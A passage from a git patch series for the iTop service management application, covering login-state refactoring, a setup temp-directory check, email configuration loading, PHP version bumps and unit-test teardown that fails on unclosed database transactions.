$this->GetAuthUserAndPassword(); LoginWebPage::OnLoginSuccess($sAuthUser, 'internal', $_SESSION['login_mode']); } return LoginWebPage::LOGIN_FSM_CONTINUE; diff --git a/application/loginexternal.class.inc.php b/application/loginexternal.class.inc.php index 8bb6786b9..759b7482b 100644 --- a/application/loginexternal.class.inc.php +++ b/application/loginexternal.class.inc.php @@ -45,8 +45,6 @@ class LoginExternal extends AbstractLoginFSMExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } - // Save the checked user - $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -55,7 +53,7 @@ class LoginExternal extends AbstractLoginFSMExtension { if (Session::Get('login_mode') == 'external') { - $sAuthUser = $_SESSION['auth_user']; + $sAuthUser = $this->GetAuthUser(); LoginWebPage::OnLoginSuccess($sAuthUser, 'external', $_SESSION['login_mode']); } return LoginWebPage::LOGIN_FSM_CONTINUE; diff --git a/application/loginform.class.inc.php b/application/loginform.class.inc.php index 4a9e55bb8..f10b2263c 100644 --- a/application/loginform.class.inc.php +++ b/application/loginform.class.inc.php @@ -71,8 +71,6 @@ class LoginForm extends AbstractLoginFSMExtension implements iLoginUIExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } - // Save the checked user - $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -84,7 +82,15 @@ class LoginForm extends AbstractLoginFSMExtension implements iLoginUIExtension { if (Session::Get('login_mode') == 'form') { - $sAuthUser = $_SESSION['auth_user']; + if (isset($_SESSION['auth_user'])) + { + // If FSM reenter this state (example 2FA) then the auth_user is not resubmitted + $sAuthUser = $_SESSION['auth_user']; + } + else + { + $sAuthUser = utils::ReadPostedParam('auth_user', '', 'raw_data'); + } // Store 'auth_user' in session for further use LoginWebPage::OnLoginSuccess($sAuthUser, 'internal', Session::Get('login_mode')); } diff --git a/application/loginurl.class.inc.php b/application/loginurl.class.inc.php index 253be936e..2aab9bd22 100644 --- a/application/loginurl.class.inc.php +++ b/application/loginurl.class.inc.php @@ -60,8 +60,6 @@ class LoginURL extends AbstractLoginFSMExtension $iErrorCode = LoginWebPage::EXIT_CODE_WRONGCREDENTIALS; return LoginWebPage::LOGIN_FSM_ERROR; } - // Save the checked user - $_SESSION['auth_user'] = $sAuthUser; } return LoginWebPage::LOGIN_FSM_CONTINUE; } @@ -70,7 +68,7 @@ class LoginURL extends AbstractLoginFSMExtension { if (Session::Get('login_mode') == 'url') { - $sAuthUser = $_SESSION['auth_user']; + $sAuthUser = utils::ReadParam('auth_user', '', false, 'raw_data'); LoginWebPage::OnLoginSuccess($sAuthUser, 'internal', $_SESSION['login_mode']); } return LoginWebPage::LOGIN_FSM_CONTINUE; From 425362f51533f83461489cb52989159f6df99569 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Tue, 13 Sep 2022 12:14:04 +0200 Subject: [PATCH 019/230] =?UTF-8?q?N=C2=B05510=20-=20Add=20unit=20test?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/application/SCSSCompilationTest.php | 38 ++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 test/application/SCSSCompilationTest.php diff --git a/test/application/SCSSCompilationTest.php b/test/application/SCSSCompilationTest.php new file mode 100644 index 000000000..bb47ef516 --- /dev/null +++ b/test/application/SCSSCompilationTest.php @@ -0,0 +1,38 @@ +debug($sCSS); + } + + public function CompileDefaultThemesProvider() + { + return [ + 'console' => ['css/backoffice/main.scss', ['css/backoffice/']], + 'portal' => ['env-production/itop-portal-base/portal/public/css/bootstrap-theme-combodo.scss', ['env-production//itop-portal-base/portal/public/css/']], + ]; + } + +} From 1ee5432b96e5a548c4911604029f557c92fb53be Mon Sep 17 00:00:00 2001 From: acognet Date: Tue, 13 Sep 2022 18:04:28 +0200 Subject: [PATCH 020/230] =?UTF-8?q?N=C2=B05508=20-=20PHP=208=20and=20PHP?= =?UTF-8?q?=208.1=20:=20Add=20compatibility=20Alarm=20Console?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- js/utils.js | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/js/utils.js b/js/utils.js index 633245606..4e22b82c7 100644 --- a/js/utils.js +++ b/js/utils.js @@ -389,11 +389,13 @@ function ExportListDlg(sOQL, sDataTableId, sFormat, sDlgTitle) { var oColumns = $('#'+sDataTableName).DataTable().ajax.params()['columns']; for (var j in oColumns) { if (oColumns[j]['data']) { - var sCode = oColumns[j]['data'].split("/"); - if (sCode[1] == '_key_') { - sCode[1] = 'id'; + if (oColumns[j]['data']!='id') { + var sCode = oColumns[j]['data'].split("/"); + if (sCode[1] == '_key_') { + sCode[1] = 'id'; + } + aFields.push(sCode[0]+'.'+sCode[1]); } - aFields.push(sCode[0]+'.'+sCode[1]); } else { for (var k in oColumns[j]) { if (oColumns[j][k].checked) { From 5cf391c3bbef875590d053f93ee1f1fbe12d9991 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 13 Sep 2022 18:20:35 +0200 Subject: [PATCH 021/230] =?UTF-8?q?N=C2=B05235=20-=20Add=20non=20blocking?= =?UTF-8?q?=20setup=20check=20:=20is=20tmp=20dir=20is=20writable=20(#301)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup/setuputils.class.inc.php | 36 ++++++++++++++++++++++++---------- 1 file changed, 26 insertions(+), 10 deletions(-) diff --git a/setup/setuputils.class.inc.php b/setup/setuputils.class.inc.php index 15c821ece..21dd5cbfe 100644 --- a/setup/setuputils.class.inc.php +++ b/setup/setuputils.class.inc.php @@ -81,16 +81,23 @@ class SetupUtils $aResult = array(); // For log file(s) - if (!is_dir(APPROOT.'log')) - { + if (!is_dir(APPROOT.'log')) { @mkdir(APPROOT.'log'); } self::CheckPhpVersion($aResult); // Check the common directories - $aWritableDirsErrors = self::CheckWritableDirs(array('log', 'env-production', 'env-production-build', 'conf', 'data')); - $aResult = array_merge($aResult, $aWritableDirsErrors); + $aWritableApprootDirsErrors = self::CheckWritableDirs(array('log', 'env-production', 'env-production-build', 'conf', 'data')); + $aResult = array_merge($aResult, $aWritableApprootDirsErrors); + // Check temp dir (N°5235) : as this path isn't under APPROOT we are doing a custom check and not using \SetupUtils::CheckWritableDirs + $sTmpDir = static::GetTmpDir(); + clearstatcache(true, $sTmpDir); + if (is_writable($sTmpDir)) { + $aResult[] = new CheckResult(CheckResult::INFO, "The temp directory is writable by the application."); + } else { + $aResult[] = new CheckResult(CheckResult::ERROR, "The temp directory '".$sTmpDir."' is not writable by the application. Change its permission or use another dir (sys_temp_dir option in php.ini)."); + } $aMandatoryExtensions = array( 'mysqli', @@ -1798,21 +1805,30 @@ JS public static function GetVersionManifest($sInstalledVersion) { - if (preg_match('/^([0-9]+)\./', $sInstalledVersion, $aMatches)) - { + if (preg_match('/^([0-9]+)\./', $sInstalledVersion, $aMatches)) { return APPROOT.'datamodels/'.$aMatches[1].'.x/manifest-'.$sInstalledVersion.'.xml'; } + return false; } + /** + * Check paths relative to APPROOT : is existing, is dir, is writable + * + * @param string[] $aWritableDirs list of dirs to check, relative to APPROOT (for example : `['log','conf','data']`) + * + * @return array full path as key, CheckResult error as value + * + * @uses \is_dir() + * @uses \is_writable() + * @uses \file_exists() + */ public static function CheckWritableDirs($aWritableDirs) { $aNonWritableDirs = array(); - foreach($aWritableDirs as $sDir) - { + foreach ($aWritableDirs as $sDir) { $sFullPath = APPROOT.$sDir; - if (is_dir($sFullPath) && !is_writable($sFullPath)) - { + if (is_dir($sFullPath) && !is_writable($sFullPath)) { $aNonWritableDirs[APPROOT.$sDir] = new CheckResult(CheckResult::ERROR, "The directory '".APPROOT.$sDir."' exists but is not writable for the application."); } else if (file_exists($sFullPath) && !is_dir($sFullPath)) From bdfe3a3b35a876172c6a4334db75ab3621614537 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 13 Sep 2022 18:22:29 +0200 Subject: [PATCH 022/230] =?UTF-8?q?N=C2=B05235=20Tmp=20dir=20setup=20check?= =?UTF-8?q?=20is=20now=20non=20blocking=20(woops=20previous=20commit=20was?= =?UTF-8?q?=20incomplete)=20(#301)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup/setuputils.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/setuputils.class.inc.php b/setup/setuputils.class.inc.php index 21dd5cbfe..c8eb6847a 100644 --- a/setup/setuputils.class.inc.php +++ b/setup/setuputils.class.inc.php @@ -96,7 +96,7 @@ class SetupUtils if (is_writable($sTmpDir)) { $aResult[] = new CheckResult(CheckResult::INFO, "The temp directory is writable by the application."); } else { - $aResult[] = new CheckResult(CheckResult::ERROR, "The temp directory '".$sTmpDir."' is not writable by the application. Change its permission or use another dir (sys_temp_dir option in php.ini)."); + $aResult[] = new CheckResult(CheckResult::WARNING, "The temp directory '".$sTmpDir."' is not writable by the application. Change its permission or use another dir (sys_temp_dir option in php.ini)."); } $aMandatoryExtensions = array( From 7512f721e9f61f1901e543f6cabc9a14d13a6ae2 Mon Sep 17 00:00:00 2001 From: xtophe38 <13520055+xtophe38@users.noreply.github.com> Date: Tue, 13 Sep 2022 20:11:38 +0200 Subject: [PATCH 023/230] Setup wizard : use the ITOP_APPLICATION constant instead of hardcoded "iTop" string (#335) * Update wizardsteps.class.inc.php * Done as requested * Fix typo for better readability/genericity Co-authored-by: Molkobain --- setup/wizardsteps.class.inc.php | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/setup/wizardsteps.class.inc.php b/setup/wizardsteps.class.inc.php index 81ff1c9c9..b834c2a77 100644 --- a/setup/wizardsteps.class.inc.php +++ b/setup/wizardsteps.class.inc.php @@ -658,10 +658,7 @@ EOF ); if ($oMutex->IsLocked()) { - $oPage->add(<<An iTop cron process is being executed on the target database. iTop cron process will be stopped during the setup execution. -HTML - ); + $oPage->add('
'.ITOP_APPLICATION.' cron process is being executed on the target database. '.ITOP_APPLICATION.' cron process will be stopped during the setup execution.
'); } } } @@ -756,8 +753,8 @@ EOF $sChecked = ($this->oWizard->GetParameter('accept_license', 'no') == 'yes') ? ' checked ' : ''; $oPage->p(''); if ($this->NeedsRgpdConsent()) { - $oPage->add('
iTop software is compliant with the processing of personal data according to the European General Data Protection Regulation (GDPR).

-By installing iTop you agree that some information will be collected by Combodo to help you manage your instances and for statistical purposes. + $oPage->add('
'.ITOP_APPLICATION.' software is compliant with the processing of personal data according to the European General Data Protection Regulation (GDPR).

+By installing '.ITOP_APPLICATION.' you agree that some information will be collected by Combodo to help you manage your instances and for statistical purposes. This data remains anonymous until it is associated to a user account on iTop Hub.

List of collected data available in our Data privacy section.

'); $oPage->add(''); From d431811725455dec60b6fb07714f4625eba8c2f1 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 14 Sep 2022 15:33:48 +0200 Subject: [PATCH 024/230] =?UTF-8?q?N=C2=B04947=20Fix=20Email=20always=20pi?= =?UTF-8?q?cking=20"production"=20env=20config=20file=20(#331)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Note that the code was duplicated in both Email* impl, this is refactored : LoadConfig and m_oConfig are pulled up in Email, and SetRecipientFrom() calls are also refactored in Email --- core/email.class.inc.php | 44 ++++++++++++++- sources/Core/Email/EmailLaminas.php | 16 ++---- sources/Core/Email/EmailSwiftMailer.php | 75 +++++++++++-------------- 3 files changed, 82 insertions(+), 53 deletions(-) diff --git a/core/email.class.inc.php b/core/email.class.inc.php index 669e79bd5..3bbe3db1f 100644 --- a/core/email.class.inc.php +++ b/core/email.class.inc.php @@ -34,6 +34,13 @@ define ('EMAIL_SEND_ERROR', 2); class EMail implements iEMail { + /** + * @see self::LoadConfig() + * @var Config + * @since 2.7.7 3.0.2 3.1.0 N°3169 N°5102 Move attribute to children classes + * @since 2.7.8 3.0.3 3.1.0 N°4947 pull up the attribute back to the Email class as config init is done here + */ + protected static $m_oConfig = null; protected $oMailer; // Serialization formats @@ -46,6 +53,42 @@ class EMail implements iEMail $this->oMailer = EmailFactory::GetMailer(); } + /** + * Sets {@see m_oConfig} if current attribute is null + * + * @returns \Config the current {@see m_oConfig} value + * @throws \ConfigException + * @throws \CoreException + * + * @uses utils::GetConfig() + * + * @since 2.7.7 3.0.2 3.1.0 N°3169 N°5102 Move method to children classes + * @since 2.7.8 3.0.3 3.1.0 N°4947 Pull up to the parent class, and remove `$sConfigFile` param + */ + public function LoadConfig() + { + if (is_null(static::$m_oConfig)) { + static::$m_oConfig = utils::GetConfig(); + } + + return static::$m_oConfig; + } + + /** + * @return void + * @throws \ConfigException + * @throws \CoreException + * @since 2.7.>8 3.0.3 3.1.0 N°4947 Method creation, to factorize same code in children classes + */ + protected function InitRecipientFrom() + { + $oConfig = $this->LoadConfig(); + $this->SetRecipientFrom( + $oConfig->Get('email_default_sender_address'), + $oConfig->Get('email_default_sender_label') + ); + } + /** * Custom serialization method * No longer use the brute force "serialize" method since @@ -146,5 +189,4 @@ class EMail implements iEMail { $this->oMailer->SetRecipientReplyTo($sAddress); } - } \ No newline at end of file diff --git a/sources/Core/Email/EmailLaminas.php b/sources/Core/Email/EmailLaminas.php index 53031d383..eadbf984f 100644 --- a/sources/Core/Email/EmailLaminas.php +++ b/sources/Core/Email/EmailLaminas.php @@ -45,25 +45,21 @@ class EMailLaminas extends Email // Did not work with attachements since their binary representation cannot be stored as a valid UTF-8 string const FORMAT_V2 = 2; // New format, only the raw data are serialized (base64 encoded if needed) - protected static $m_oConfig = null; protected $m_aData; // For storing data to serialize - public static function LoadConfig($sConfigFile = ITOP_DEFAULT_CONFIG_FILE) - { - if (is_null(self::$m_oConfig)) { - self::$m_oConfig = new Config($sConfigFile); - } - } - protected $m_oMessage; - /** @noinspection PhpMissingParentConstructorInspection */ + /** + * @noinspection PhpMissingParentConstructorInspection + * @noinspection MagicMethodsValidityInspection + */ public function __construct() { $this->m_aData = array(); $this->m_oMessage = new Message(); $this->m_oMessage->setEncoding('UTF-8'); - $this->SetRecipientFrom(MetaModel::GetConfig()->Get('email_default_sender_address'), MetaModel::GetConfig()->Get('email_default_sender_label')); + + $this->InitRecipientFrom(); } /** diff --git a/sources/Core/Email/EmailSwiftMailer.php b/sources/Core/Email/EmailSwiftMailer.php index 08edf28d7..01d8b5d24 100644 --- a/sources/Core/Email/EmailSwiftMailer.php +++ b/sources/Core/Email/EmailSwiftMailer.php @@ -32,25 +32,20 @@ Swift_Preferences::getInstance()->setCharset('UTF-8'); class EmailSwiftMailer extends EMail { - protected static $m_oConfig = null; protected $m_aData; // For storing data to serialize - public function LoadConfig($sConfigFile = ITOP_DEFAULT_CONFIG_FILE) - { - if (is_null(self::$m_oConfig)) - { - self::$m_oConfig = new Config($sConfigFile); - } - } - protected $m_oMessage; - /** @noinspection PhpMissingParentConstructorInspection */ + /** + * @noinspection PhpMissingParentConstructorInspection + * @noinspection MagicMethodsValidityInspection + */ public function __construct() { $this->m_aData = array(); $this->m_oMessage = new Swift_Message(); - $this->SetRecipientFrom(MetaModel::GetConfig()->Get('email_default_sender_address'), MetaModel::GetConfig()->Get('email_default_sender_label')); + + $this->InitRecipientFrom(); } /** @@ -63,7 +58,7 @@ class EmailSwiftMailer extends EMail { return serialize($this->m_aData); } - + /** * Custom de-serialization method * @param string $sSerializedMessage The serialized representation of the message @@ -155,39 +150,35 @@ class EmailSwiftMailer extends EMail { // If the body of the message is in HTML, embed all images based on attachments $this->EmbedInlineImages(); - - $this->LoadConfig(); - $sTransport = self::$m_oConfig->Get('email_transport'); - switch ($sTransport) - { - case 'SMTP': - $sHost = self::$m_oConfig->Get('email_transport_smtp.host'); - $sPort = self::$m_oConfig->Get('email_transport_smtp.port'); - $sEncryption = self::$m_oConfig->Get('email_transport_smtp.encryption'); - $sUserName = self::$m_oConfig->Get('email_transport_smtp.username'); - $sPassword = self::$m_oConfig->Get('email_transport_smtp.password'); + $sTransport = static::$m_oConfig->Get('email_transport'); + switch ($sTransport) { + case 'SMTP': + $sHost = static::$m_oConfig->Get('email_transport_smtp.host'); + $sPort = static::$m_oConfig->Get('email_transport_smtp.port'); + $sEncryption = static::$m_oConfig->Get('email_transport_smtp.encryption'); + $sUserName = static::$m_oConfig->Get('email_transport_smtp.username'); + $sPassword = static::$m_oConfig->Get('email_transport_smtp.password'); - $oTransport = new Swift_SmtpTransport($sHost, $sPort, $sEncryption); - if (strlen($sUserName) > 0) - { - $oTransport->setUsername($sUserName); - $oTransport->setPassword($sPassword); - } - break; + $oTransport = new Swift_SmtpTransport($sHost, $sPort, $sEncryption); + if (strlen($sUserName) > 0) { + $oTransport->setUsername($sUserName); + $oTransport->setPassword($sPassword); + } + break; - case 'Null': - $oTransport = new Swift_NullTransport(); - break; - - case 'LogFile': - $oTransport = new Swift_LogFileTransport(new Swift_Events_SimpleEventDispatcher()); - $oTransport->setLogFile(APPROOT.'log/mail.log'); - break; - - case 'PHPMail': - default: - $oTransport = new Swift_SendmailTransport(); + case 'Null': + $oTransport = new Swift_NullTransport(); + break; + + case 'LogFile': + $oTransport = new Swift_LogFileTransport(new Swift_Events_SimpleEventDispatcher()); + $oTransport->setLogFile(APPROOT.'log/mail.log'); + break; + + case 'PHPMail': + default: + $oTransport = new Swift_SendmailTransport(); } $oMailer = new Swift_Mailer($oTransport); From e9c654984780ea3abad38fd130c293e0232581ec Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 20 Sep 2022 13:17:59 +0200 Subject: [PATCH 025/230] =?UTF-8?q?N=C2=B05535=20-=20Fix=20PHP=20not=20val?= =?UTF-8?q?idated=20version=20to=208.1=20in=20iTop=203.0.2+?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup/setuputils.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/setuputils.class.inc.php b/setup/setuputils.class.inc.php index 75508f585..a14bc82cb 100644 --- a/setup/setuputils.class.inc.php +++ b/setup/setuputils.class.inc.php @@ -102,7 +102,7 @@ class SetupUtils const PHP_NEXT_MIN_VERSION = '7.4.0'; // Allow us to use more modern libs / code; will be default PHP version on main Linux distrib LTS const MYSQL_NEXT_MIN_VERSION = ''; // no new MySQL requirement for next iTop version // -- First recent version that is not yet validated by Combodo (warning) - const PHP_NOT_VALIDATED_VERSION = '8.0.0'; + const PHP_NOT_VALIDATED_VERSION = '8.1.0'; const MIN_MEMORY_LIMIT = '32M'; const SUHOSIN_GET_MAX_VALUE_LENGTH = 2048; From e55ac6002a4d73db777290fb16ed200c316f7337 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 20 Sep 2022 13:22:18 +0200 Subject: [PATCH 026/230] Increase ITOP_VERSION to 3.0.3-dev --- core/config.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/config.class.inc.php b/core/config.class.inc.php index e8d2f88c2..ab09af11c 100644 --- a/core/config.class.inc.php +++ b/core/config.class.inc.php @@ -29,7 +29,7 @@ define('ITOP_APPLICATION_SHORT', 'iTop'); * * @see ITOP_CORE_VERSION to get iTop core version */ -define('ITOP_VERSION', '3.0.1-dev'); +define('ITOP_VERSION', '3.0.3-dev'); define('ITOP_VERSION_NAME', 'Fullmoon'); define('ITOP_REVISION', 'svn'); From 7071712a0a1f74bde0e8303c3c020ed718801b29 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 20 Sep 2022 13:42:45 +0200 Subject: [PATCH 027/230] =?UTF-8?q?N=C2=B05535=20-=20Fix=20PHP=20max=20ver?= =?UTF-8?q?sion=20to=208.1=20in=20composer=20for=20iTop=203.0.2+?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- composer.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/composer.json b/composer.json index e0b9be0d6..9a9c5c854 100644 --- a/composer.json +++ b/composer.json @@ -4,7 +4,7 @@ "type": "project", "license": "AGPL-3.0-only", "require": { - "php": ">=7.1.3 <8.0.0", + "php": ">=7.1.3 <8.1.0", "ext-ctype": "*", "ext-dom": "*", "ext-gd": "*", From 7ac4bc95bb245f3d355dd9345be5b68464d64ea0 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 21 Sep 2022 11:50:55 +0200 Subject: [PATCH 028/230] ItopDataTestCase : improve log message --- test/ItopDataTestCase.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/ItopDataTestCase.php b/test/ItopDataTestCase.php index 97ed4b2ce..d269bd8a6 100644 --- a/test/ItopDataTestCase.php +++ b/test/ItopDataTestCase.php @@ -121,7 +121,7 @@ class ItopDataTestCase extends ItopTestCase } catch (Exception $e) { - $this->debug($e->getMessage()); + $this->debug("Error when removing created objects : $sClass::$iKey. Exception message: ".$e->getMessage()); } } } From 88d743b1cc6d26c80752138d736ea4a7bbf1f83a Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 21 Sep 2022 11:59:59 +0200 Subject: [PATCH 029/230] =?UTF-8?q?:white=5Fcheck=5Fmark:=20N=C2=B05538=20?= =?UTF-8?q?Make=20PHPUnit=20test=20fail=20if=20transaction=20opened=20but?= =?UTF-8?q?=20not=20closed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/cmdbsource.class.inc.php | 10 +++- test/ItopDataTestCase.php | 5 +- test/ItopTestCase.php | 29 +++++++--- test/core/CMDBSource/TransactionsTest.php | 65 +++++++++++++++++------ test/core/apcEmulationTest.php | 1 + test/core/dictApcuTest.php | 2 + test/core/dictTest.php | 2 + test/core/iTopConfigParserTest.php | 2 +- 8 files changed, 89 insertions(+), 27 deletions(-) diff --git a/core/cmdbsource.class.inc.php b/core/cmdbsource.class.inc.php index 66fd4bb70..190babbdc 100644 --- a/core/cmdbsource.class.inc.php +++ b/core/cmdbsource.class.inc.php @@ -113,10 +113,18 @@ class MySQLNoTransactionException extends MySQLException } +/** + * @since 2.7.8 3.0.3 3.1.0 N°5538 + */ +class MySQLTransactionNotClosedException extends MySQLException +{ + +} + /** * CMDBSource - * database access wrapper + * database access wrapper * * @package iTopORM */ diff --git a/test/ItopDataTestCase.php b/test/ItopDataTestCase.php index d269bd8a6..890ce611e 100644 --- a/test/ItopDataTestCase.php +++ b/test/ItopDataTestCase.php @@ -119,12 +119,13 @@ class ItopDataTestCase extends ItopTestCase $this->debug("Removing $sClass::$iKey"); $oObject->DBDelete(); } - catch (Exception $e) - { + catch (Exception $e) { $this->debug("Error when removing created objects : $sClass::$iKey. Exception message: ".$e->getMessage()); } } } + + parent::tearDown(); } /** diff --git a/test/ItopTestCase.php b/test/ItopTestCase.php index 455a886fb..16d403cfe 100644 --- a/test/ItopTestCase.php +++ b/test/ItopTestCase.php @@ -25,6 +25,8 @@ namespace Combodo\iTop\Test\UnitTest; * Time: 11:21 */ +use CMDBSource; +use MySQLTransactionNotClosedException; use PHPUnit\Framework\TestCase; use SetupUtils; @@ -47,15 +49,26 @@ class ItopTestCase extends TestCase @include_once '../../../../../../../../approot.inc.php'; } + /** + * @throws \MySQLTransactionNotClosedException see N°5538 + * @since 2.7.8 3.0.3 3.1.0 N°5538 + */ + protected function tearDown(): void + { + parent::tearDown(); + + if (CMDBSource::IsInsideTransaction()) { + // Nested transactions were opened but not finished ! + throw new MySQLTransactionNotClosedException('Some DB transactions were opened but not closed ! Fix the code by adding ROLLBACK or COMMIT statements !', []); + } + } + protected function debug($sMsg) - { - if (DEBUG_UNIT_TEST) - { - if (is_string($sMsg)) - { - echo "$sMsg\n"; - } - else { + { + if (DEBUG_UNIT_TEST) { + if (is_string($sMsg)) { + echo "$sMsg\n"; + } else { /** @noinspection ForgottenDebugOutputInspection */ print_r($sMsg); } diff --git a/test/core/CMDBSource/TransactionsTest.php b/test/core/CMDBSource/TransactionsTest.php index 335ab2938..55b738cc8 100644 --- a/test/core/CMDBSource/TransactionsTest.php +++ b/test/core/CMDBSource/TransactionsTest.php @@ -10,6 +10,7 @@ use CMDBSource; use Combodo\iTop\Test\UnitTest\ItopTestCase; use Exception; use MetaModel; +use MySQLTransactionNotClosedException; /** * @runTestsInSeparateProcesses @@ -230,22 +231,56 @@ class TransactionsTest extends ItopTestCase public function DBUpdateProvider() { return [ - "Normal case" => ['iFailAt' => -1, 'bIsModified' => false], - "ticket_request" => ['iFailAt' => 1, 'bIsModified' => true], + "Normal case" => ['iFailAt' => -1, 'bIsModified' => false], + "ticket_request" => ['iFailAt' => 1, 'bIsModified' => true], "lnkcontacttoticket" => ['iFailAt' => 2, 'bIsModified' => true], - "History 1" => ['iFailAt' => 3, 'bIsModified' => true], - "History 2" => ['iFailAt' => 4, 'bIsModified' => true], - "History 3" => ['iFailAt' => 5, 'bIsModified' => true], - "History 4" => ['iFailAt' => 6, 'bIsModified' => true], - "History 5" => ['iFailAt' => 7, 'bIsModified' => true], - "History 6" => ['iFailAt' => 8, 'bIsModified' => true], - "History 7" => ['iFailAt' => 9, 'bIsModified' => true], - "History 8" => ['iFailAt' => 10, 'bIsModified' => true], - "History 9" => ['iFailAt' => 11, 'bIsModified' => true], - "History 10" => ['iFailAt' => 12, 'bIsModified' => true], - "History 11" => ['iFailAt' => 13, 'bIsModified' => true], - "History 12" => ['iFailAt' => 14, 'bIsModified' => true], - "History 13" => ['iFailAt' => 15, 'bIsModified' => true], + "History 1" => ['iFailAt' => 3, 'bIsModified' => true], + "History 2" => ['iFailAt' => 4, 'bIsModified' => true], + "History 3" => ['iFailAt' => 5, 'bIsModified' => true], + "History 4" => ['iFailAt' => 6, 'bIsModified' => true], + "History 5" => ['iFailAt' => 7, 'bIsModified' => true], + "History 6" => ['iFailAt' => 8, 'bIsModified' => true], + "History 7" => ['iFailAt' => 9, 'bIsModified' => true], + "History 8" => ['iFailAt' => 10, 'bIsModified' => true], + "History 9" => ['iFailAt' => 11, 'bIsModified' => true], + "History 10" => ['iFailAt' => 12, 'bIsModified' => true], + "History 11" => ['iFailAt' => 13, 'bIsModified' => true], + "History 12" => ['iFailAt' => 14, 'bIsModified' => true], + "History 13" => ['iFailAt' => 15, 'bIsModified' => true], ]; } + + /** + * @return void + * @doesNotPerformAssertions + */ + public function testTransactionOpenedThenClosed() + { + CMDBSource::Query('START TRANSACTION;'); + CMDBSource::Query('COMMIT;'); + } + + /** + * This will throw an exception in the tearDown method. + * This cannot be detected nor by `@expectedException` nor `expectException` method, so we have a specific tearDown impl + * + * @return void + * @doesNotPerformAssertions + */ + public function testTransactionOpenedNotClosed() + { + CMDBSource::Query('START TRANSACTION;'); + } + + protected function tearDown(): void + { + try { + parent::tearDown(); + } + catch (MySQLTransactionNotClosedException $e) { + if ($this->getName() === 'testTransactionOpenedNotClosed') { + $this->debug('Executing the testTransactionOpenNoClose method throws a '.MySQLTransactionNotClosedException::class.' exception in tearDown'); + } + } + } } \ No newline at end of file diff --git a/test/core/apcEmulationTest.php b/test/core/apcEmulationTest.php index abc1296c4..ac088f5a6 100644 --- a/test/core/apcEmulationTest.php +++ b/test/core/apcEmulationTest.php @@ -50,6 +50,7 @@ class apcEmulationTest extends ItopTestCase public function tearDown(): void { apc_clear_cache(); + parent::tearDown(); } public function testBasic() diff --git a/test/core/dictApcuTest.php b/test/core/dictApcuTest.php index de6e6623c..3207c12ca 100644 --- a/test/core/dictApcuTest.php +++ b/test/core/dictApcuTest.php @@ -116,6 +116,8 @@ PHP; } rmdir(APPROOT."env-$this->sEnvName".DIRECTORY_SEPARATOR."dictionaries"); rmdir(APPROOT."env-$this->sEnvName"); + + parent::tearDown(); } public function InitLangIfNeeded_NoApcProvider(){ diff --git a/test/core/dictTest.php b/test/core/dictTest.php index 8d66ae5f8..f27473eff 100644 --- a/test/core/dictTest.php +++ b/test/core/dictTest.php @@ -81,6 +81,8 @@ PHP; } rmdir(APPROOT."env-$this->sEnvName".DIRECTORY_SEPARATOR."dictionaries"); rmdir(APPROOT."env-$this->sEnvName"); + + parent::tearDown(); } /** diff --git a/test/core/iTopConfigParserTest.php b/test/core/iTopConfigParserTest.php index 6934db62e..e7772ec6c 100644 --- a/test/core/iTopConfigParserTest.php +++ b/test/core/iTopConfigParserTest.php @@ -33,7 +33,7 @@ class iTopConfigParserTest extends ItopTestCase public function tearDown(): void { - parent::tearDown(); // TODO: Change the autogenerated stub + parent::tearDown(); if ($this->conf_exists) { rename($this->tmpSavePath, $this->sConfigPath); } From 583ab98210d4fffc79c262365305ffd3d17ee708 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 21 Sep 2022 16:11:24 +0200 Subject: [PATCH 030/230] Fix typo --- core/email.class.inc.php | 2 +- test/ItopDataTestCase.php | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/email.class.inc.php b/core/email.class.inc.php index 3bbe3db1f..4297867dd 100644 --- a/core/email.class.inc.php +++ b/core/email.class.inc.php @@ -78,7 +78,7 @@ class EMail implements iEMail * @return void * @throws \ConfigException * @throws \CoreException - * @since 2.7.>8 3.0.3 3.1.0 N°4947 Method creation, to factorize same code in children classes + * @since 2.7.8 3.0.3 3.1.0 N°4947 Method creation, to factorize same code in children classes */ protected function InitRecipientFrom() { diff --git a/test/ItopDataTestCase.php b/test/ItopDataTestCase.php index 